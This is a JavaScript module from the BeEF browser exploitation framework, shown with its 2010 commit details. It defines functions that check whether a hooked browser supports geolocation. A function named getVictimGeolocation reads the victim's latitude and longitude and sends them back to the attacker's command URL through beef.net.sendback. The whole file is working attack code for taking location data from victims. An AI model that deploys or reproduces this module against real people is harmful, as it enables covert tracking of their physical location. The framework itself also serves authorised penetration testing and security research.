Files
beef/modules/beefjs/geolocation.js
antisnatchor 313fec27b5 added geolocation detection (first draft)
git-svn-id: https://beef.googlecode.com/svn/trunk@520 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
2010-11-13 17:08:30 +00:00

43 lines
1.2 KiB
JavaScript

/*!
* @literal object: beef.geolocation
*
* Provides functionalities to use the geolocation API.
*/
beef.geolocation = {
/**
* check if browser supports the geolocation API
*/
isGeolocationEnabled: function(){
var isEnabled = false;
if (navigator.geolocation) {
isEnabled = true;
}
return isEnabled;
},
/*
* retrieve latitude/longitude using the geolocation API
*/
getVictimGeolocation: function (command_url, command_id){
//var result = null;
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(
function(position){ //note: this is an async call
var latitude = position.coords.latitude;
var longitude = position.coords.longitude;
beef.net.sendback(command_url, command_id, "geoLocEnabled=true&latitude=" + latitude + "&longitude=" + longitude);
}, function(position){
beef.net.sendback(command_url, command_id, "latitude=ERROR&longitude=ERROR");
});
} else {
beef.net.sendback(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED");
}
}
}
beef.regCmp('beef.geolocation');